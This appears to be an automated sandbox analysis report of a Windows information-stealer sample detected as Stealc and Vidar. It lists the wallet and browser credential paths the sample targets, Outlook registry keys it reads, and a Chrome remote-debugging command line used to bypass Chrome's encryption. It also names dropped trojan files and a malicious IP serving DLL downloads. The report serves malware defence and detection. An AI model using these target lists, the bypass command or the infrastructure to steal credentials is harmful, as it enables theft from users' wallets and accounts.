Source: xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: xLgTQcFdIJ.exe PID: 6956, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 0.3.xLgTQcFdIJ.exe.4960000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xLgTQcFdIJ.exe.4880e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xLgTQcFdIJ.exe.4880e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xLgTQcFdIJ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.xLgTQcFdIJ.exe.4960000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2193657294.0000000004880000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1674473489.0000000004960000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2193454572.0000000002F69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xLgTQcFdIJ.exe PID: 6956, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: xLgTQcFdIJ.exe PID: 6956, type: MEMORYSTR

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C800C40 sqlite3_bind_zeroblob,	0_2_6C800C40
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C800D60 sqlite3_bind_parameter_name,	0_2_6C800D60
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C728EA0 sqlite3_clear_bindings,	0_2_6C728EA0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C800B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C800B40
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C726410 bind,WSAGetLastError,	0_2_6C726410
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C726070 PR_Listen,	0_2_6C726070
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C72C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C72C050
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C72C030 sqlite3_bind_parameter_count,	0_2_6C72C030
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7260B0 listen,WSAGetLastError,	0_2_6C7260B0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C6B22D0 sqlite3_bind_blob,	0_2_6C6B22D0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7263C0 PR_Bind,	0_2_6C7263C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 File and Directory Permissions Modification	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Service Execution	1 Create Account	1 DLL Side-Loading	111 Disable or Modify Tools	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Windows Service	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Windows Service	1 Abuse Elevation Control Mechanism	NTDS	156 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	111 Process Injection	3 Obfuscated Files or Information	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	23 Software Packing	Cached Domain Credentials	451 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Masquerading	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	451 Virtualization/Sandbox Evasion	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	111 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
xLgTQcFdIJ.exe	37%	ReversingLabs
xLgTQcFdIJ.exe	100%	Avira	HEUR/AGEN.1312571
xLgTQcFdIJ.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\EHDHDHIECG.exe	67%	ReversingLabs	Win64.Trojan.Znyonm
C:\ProgramData\Google\Chrome\updater.exe	67%	ReversingLabs	Win64.Trojan.Znyonm
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\chrome_131[1].exe	67%	ReversingLabs	Win64.Trojan.Znyonm
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://anglebug.com/4633	0%	URL Reputation	safe
https://anglebug.com/7382	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://issuetracker.google.com/284462263	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://g.live.com/odclientsettings/Prod.C:	0%	URL Reputation	safe
https://anglebug.com/7714	0%	URL Reputation	safe
http://anglebug.com/6248	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
http://anglebug.com/6929	0%	URL Reputation	safe
http://anglebug.com/5281	0%	URL Reputation	safe
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	0%	URL Reputation	safe
https://issuetracker.google.com/255411748	0%	URL Reputation	safe
https://anglebug.com/7246	0%	URL Reputation	safe
https://anglebug.com/7369	0%	URL Reputation	safe
https://anglebug.com/7489	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://issuetracker.google.com/161903006	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/3078	0%	URL Reputation	safe
http://anglebug.com/7553	0%	URL Reputation	safe
http://anglebug.com/5375	0%	URL Reputation	safe
http://anglebug.com/5371	0%	URL Reputation	safe
http://anglebug.com/4722	0%	URL Reputation	safe
http://anglebug.com/7556	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/6692	0%	URL Reputation	safe
https://issuetracker.google.com/258207403	0%	URL Reputation	safe
http://anglebug.com/3502	0%	URL Reputation	safe
http://anglebug.com/3623	0%	URL Reputation	safe
http://anglebug.com/3625	0%	URL Reputation	safe
http://anglebug.com/3624	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.186.46	true	false	unknown
play.google.com	142.250.185.142	true	false	unknown
www.google.com	172.217.18.100	true	false	unknown
perseverclinic.com	87.106.236.48	true	false	unknown
apis.google.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://95.215.207.176/70d63ca8a5be6cc3/freebl3.dll	true	unknown
http://95.215.207.176/70d63ca8a5be6cc3/softokn3.dll	true	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	xLgTQcFdIJ.exe, 00000000.00000003.1835785135.000000002333D000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850541020.0000307C00C54000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000001.00000002.1841947459.0000307C000E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	chrome.exe, 00000001.00000002.1848102287.0000307C007B4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/.	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000001.00000002.1841789495.0000307C0008C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/1	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000001.00000002.1847614468.0000307C0073C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/J	chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000001.00000002.1847746651.0000307C00780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843917525.0000307C004A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1852576692.0000307C00F68000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7382	chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	xLgTQcFdIJ.exe, 00000000.00000002.2210148752.0000000023530000.00000004.00000020.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/;	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/284462263	chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/8	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000001.00000002.1843997865.0000307C004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850627429.0000307C00C74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848102287.0000307C007B4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/B	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/G	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000001.00000003.1746126968.0000307C00F4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746161282.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1744849990.0000307C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746707151.0000307C0112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746213982.0000307C00F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745169297.0000307C01098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745318061.0000307C00F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746873307.0000307C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746535776.0000307C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746056647.0000307C00CD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745464349.0000307C01064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745129071.0000307C01048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842899312.0000307C002F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/:	chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/E	chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000002.00000003.1730723961.0000018FD511A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000001.00000002.1849143919.0000307C00988000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842899312.0000307C002FB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
